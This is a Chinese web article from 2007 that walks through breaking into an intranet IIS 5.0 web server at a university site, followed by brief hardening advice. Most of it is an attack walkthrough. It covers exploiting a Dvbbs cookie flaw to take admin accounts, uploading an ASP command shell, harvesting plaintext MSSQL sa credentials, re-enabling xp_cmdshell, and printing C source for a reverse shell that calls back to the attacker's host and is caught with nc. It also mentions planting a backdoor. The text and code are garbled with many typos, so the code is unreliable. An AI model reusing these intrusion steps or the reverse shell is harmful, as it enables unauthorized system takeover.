内网建Web服务器的安全问题
来源:天极Yesky 时间:2007-03-28 17:02:00
很多公司或企业将其Web服务器放在内网,并在防火墙上做映射,将来自80端口的请求转向一台内网Web服务器的Web端口。
这样做安全性是提高了不少,但并不代表将Web服务器隐藏在内网就一定安全了,因为Web服务器本身还是存在很多问题的,特别是一些CG,程序,往往这是人们最容易忽视的地方。下面就以一台开放80端口的Web服务器为例,来测试其存在的安全隐患问题,并且对存在问题做测试描述,指出问题的症结所在并给出防范错施。
这是某大学的娱乐休闲网站,进去看了看,页面做得不错,先看一看是什么Web服务器吧。
D:\ne -vv www.target.com 80
DNS fwd/rev mismatch:www.target.com!=traget
www.target.com[192.168.0.1]80(http)open
GEP/HTTP/1.0
HOST:www.target.com
HTTP/1.1 200 OK
Server:Microsoft-IIS/5.0
Content-location:http://www.target.com/index.asp
Date:Thu,22 May 2003 12:13:32 GMT
Content-Type:text/html
......
是IIS5.0,看看能不能直接溢出。用最新的IIS的WebDav溢出试试。个人感觉isno写的那个溢出比较好用,但因为它是在内网,这个工具导致溢出后会直接在7788端口绑定一个cmd,这对我们的这次入侵来说肯定是不行的。所以,我将它修改了一下,使它可以反向连接,但最终还是不行,看来对方是打了补丁的。
又逛了一下其他版面,看到有个BBS,是动网的论坛而且版本还比较低(5.00320)。不错,这往往是我们的突破口(第一大失败)。很早以前我和我的好友pskey曾发现一个它的cookie变量未过滤漏洞,他还写了一个Exploit(程序放在光盘中)。通过这个漏洞,我可以随意更改任意用户(包括总版主)的用户密码。我用这个ID进去,进到后台管理,修改设置,允许上传exe、asp等文件。再看看有没有禁用FSO,结果没有禁用(第二大失败)。我通过它上传了一个aspcmdshell。这个aspcmdshell可以使我以guests组权限的用户在Web服务器上执行命令,当然,前题是它没有丢掉guests组对%systemroot%\winnt\cdm.exe的访问执行权限。试试"dir c:\"看看,果然没有禁止运行(第三大失败)。其实,如果它禁止了cmd.exe的运行权限也不要紧的,我们可以自已上传一个上去,再改一下这个aspcmdshell就可以了。有了这个aspcmdshell,我们可以做很多事情。当然这还不够,我的目的是拿到最高权限。此时我就准备提升权限了。先看一看管理员给了guests组哪些权限,看一下ipconfig的返回结果:
Windows 2000 IP Configuration
Ethernet adapter本地连接:
Connection-specific DNS Suffix.:
IP Address.................: 192.168.1.222
Subnet Mask................: 255.255.255.0
Default Gateway............: 192.168.1.1
哟,在内网,不错,再试试C:\可不可写,答案是不可写(不错)。再试试其他目录,整个C.盘都不可写,只给了Web目录的可写权限。再看一看跑了哪些服务,用netstat -an命令来查看一下。
TCP 127.0.0.1:1433 0.0.0.0:0 LISTENING哟!还跑了MSSQL的,不错。这时候第一个想做的就是看看哪些程序使用了MSSQL数据库。再到主页上逛逛,看到有一个新闻系统,很有可能就是它。用刚才那个aspcmdshell去查看一下这个news/目录里面的ASP程序,看到很多文件第一行都有,基本上这个就是数据库的链接程序了。查看一下:
strconn="Driver={SQL erver};Ddescription=sqldemo;
SERVER=127.0.0.1;UID=sa;&
PWD=hello;DATABASE=news
set conn=server.createobject("adodb.connection")
conn.open strconn
果然不出我所料(第四大失败,将MSSQL的用户名和密码以明文形式存放在ASP文件里),拿到了MSSQL数据库的密码,而且还是sa用户的,权限比较大哦。本来想看看能不能查找一下新闻系统ASP程序的漏洞,利用一下sql injection的。看来现在完全没有必要了。自己写一个可以用MSSQL扩展xp一cmdshell来执行系统命令的ASP程序,这里有可能管理员删了这个扩展,或直接删掉了xplog70.dll这个文件。不管它,先试试再说。写sql.asp内容如下:
自己先开防火墙,记录icmp数据包,然后在IE里执行:
http://www.target.com/bbs/uploadimages/439587438739.asp?cmd=ping%20192.168.0.1
这个ASP是通过动网论坛自己的上传程序上传机程序设定把上传文件都上传到up1Oad土mageS/这个目录里面,根据当前时间将文件重命名,所以文件名为439587438739·aSp这样的全数字组成。
防火墙没反应,晕!看来是删了Xp--CmdSheI1这个扩展,或直接删掉了Xp1Og70·d11这个文件。如果没有直接删掉Xp1Og70·d11,而只是删了这个扩展的话,我来试一下恢复这个扩展。再写个ASP:
上传上去,再执行http://www.target.com/bbs/uploadimages/23456489432.asp.
然后再提交请求:
http://www.target.com/bbs/uploadimages/
439587438739.asp?cmd=ping%192.168.0.1
呵呵,我们的防火墙有反应了。来自www.target.com的icmp数据包被记录。看来没有问题了,通过这个ASP我们可以执行很多命令 (第五大失败),都是system权限,只不过没有回显,不是很完美。于是想得到一个交互式的she1l。写个反连的程序吧:
#include
#include
#pragma comment(lib."ws2_32")
void main(int argc,char*argv[])
{
WSADATA wsaData;
SOCKET hSocket;
STARTUPINFO si;
PROCESS_INFORMATION pi;
struct sockaddr_in adik_sin;
memset(&adik_sin,0,sizeof(adik_sin));
memset(&si,0,sizeof(si));
WSAStartuup(MAKEWORD(2,0),&WSAdATA);
hSocket=WSASocket(AF_INET,
SOCK_STREMA,NULL,NULL,NULL,NULL);
adik_sin.sin_family=AF_INET;
adik_sin.sin_port=htons(53);//连接到我的主机53端口
adik_sin.sin_addr.s_addr=inet_addr("192.
168.0.1:);//我的主机的IP
connect(hSocket.(struct sockaddr*)%adik_sin,
sizeof(adik_sin);
si.cb=sizeof(si)
si.dwFlags-STARTF_USESTDHANDLES;
si.hStdlnput=si.hStdOutput=si.hStdError
=(void*)hSocket;
CreateProcess(NULL."cmd.exe",NULL,
NULL,1,NULL,NULL,NULL,&si.&pi);
ExitProcess(0);
}
编译成a.exe然后上传上去先在本机用nc监听一个端口53,然后在IE里执行:
D:\nc-1 -p 53
Microsoft Windows 2000[Version 5.00.2195]
版权所有1985-2000Microsoft Corp:
D:\inetpub\wwwroot\bbs\uploadimages>ipconfig
windows 2000 IP Configuration
Ethernet adapter本地连接:
Connection-specific DNS Suffix.:
IP Address..............:192.168.1.222
Subnet Mask.............:255.255.255.0
Default Gateway.........:192.168.1.1
D:\inetpub\wwwroot\bbs\uploadimages>
好了,到此为止,入侵基本上完成了,现在我们已经拿到了一个system权限的交互式shell,我们可以"为所欲为"了。这个时候我们可以装一个后门,使得我们萄次进来不用这么麻烦,我以前写了"一个US-BACKDOOR。使我们可以通过80端口来"得到一个交互式的shell,且不影响,IIS程序本身的。正常运行。这个backdoor可以在我的主页上下载到。 上面的几大失败使得我们每避一步人侵都取得了更多的权限,其实一个优秀的管理员完全可以避免这些。所以,一个小小的ASP程序错误都可以使你的服务器被Cracker破坏。程序员们,该注意一下你们的程序了。针对前面我提到的几大失败,我稍稍总绪一下管理"基本应该做到的地方:
(1)、不要使用已知漏洞非常多的ASP程序,特别是像动网比较低的版本这类,即使使用了,也要经常去官方论坛看看比较新的漏洞信息,及时打补丁或升级程序。
(2)、如果没有必要用到FSO,可以禁用。
(3)、用cscls%systemroot%\winnt\cmd.exe/e/d guests命令,禁止掉GUESTS组用户访问cmd.exe。
(4)、尽量不要将数据库的密码以明文的形式放在ASP程序里面,可以使用数据源的形式来连接数据库。
(5)、一般用户应该用不到xp_crndshell这个扩展的,那么最好删掉xplog70.dll;尽量不要用sa这个用户。将sa的密码设复杂一些,可以另建一个用户,把权限调到最低。
后记
文中所提到的被攻击的网站主并非一台暴露在外面的裸机,而是通过防火墙映射的放置在内网的服务。